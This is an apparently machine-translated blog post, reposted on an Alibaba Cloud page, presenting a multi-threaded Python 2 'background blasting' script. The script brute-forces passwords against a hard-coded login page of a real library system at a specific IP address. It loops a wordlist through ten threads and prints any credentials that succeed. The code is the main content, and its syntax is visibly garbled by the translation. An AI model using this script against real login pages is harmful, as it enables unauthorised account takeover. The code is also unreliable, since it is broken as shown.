Python Background blasting tool (multi-threaded)

Source: Internet
Author: User

Non-blocking Q.put (item) write queue, timeout wait time
Q.put_nowait (item) quite Q.put (item, False)

Threads Multithreading First import threading module, which is the premise of using multithreading

Appent put each thread in the threads list

Start

The join main thread waits for the child thread to complete.

#!/usr/bin/env python
#-*-Coding:utf-8-*-

Import Sys
Import requests
Import Queue
Import threading
Import time

# 1315935012
Username = sys.argv[1]
Password_file = sys.argv[2]
Queue = Queue.queue ()

f = open (Password_file)
For line in F.readlines ():
Queue.put (Line.strip ())

# Use account as password
Queue.put (username)

def checklogin (username, queue):
While not Queue.empty ():
Try
Password = queue.get_nowait () #当一个队列为空的时候如果再用get取则会堵塞, so it is usually used when taking the queue

The #get_nowait () method, which throws an empty exception when the value is taken to a null queue

#所以更常用的方法是先判断一个队列是否为空, if it is not empty, take a value


Except Queue.empty:
Break
#print Password
Url= "Http://122.207.221.227:8080/pages/opac/login/clientlogin.jsp"
query = {
' Callback ': "jquery17205871516966488435_1472197449413",
' username ': username,
' Password ': password,
' Logintype ': "Callno",
' _ ': ' 1472197524853 '
}

#print Query
Try
resp = requests.get (url, query)
Except
Queue.put (password)
resp.encoding = resp.apparent_encoding
If Resp.text.find (u "Password or login number error") = =-1 and Resp.text.find (U "reader not present") = =-1:
Print U "[*] Account:%s Password:%s"% (username, password)
Queue.queue.clear ()

Start_time = Time.time ()

Threads = []
For I in range (0, 10):
t = Threading. Thread (Target=checklogin, args= (Username,queue))
Threads.append (t)
T.setdaemon (True)
T.start ()


For T in Threads:
T.join ()

End_time = Time.time ()
Print U "Total time:%f"% (end_time-start_time)





Python Background blasting tool (multi-threaded)

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.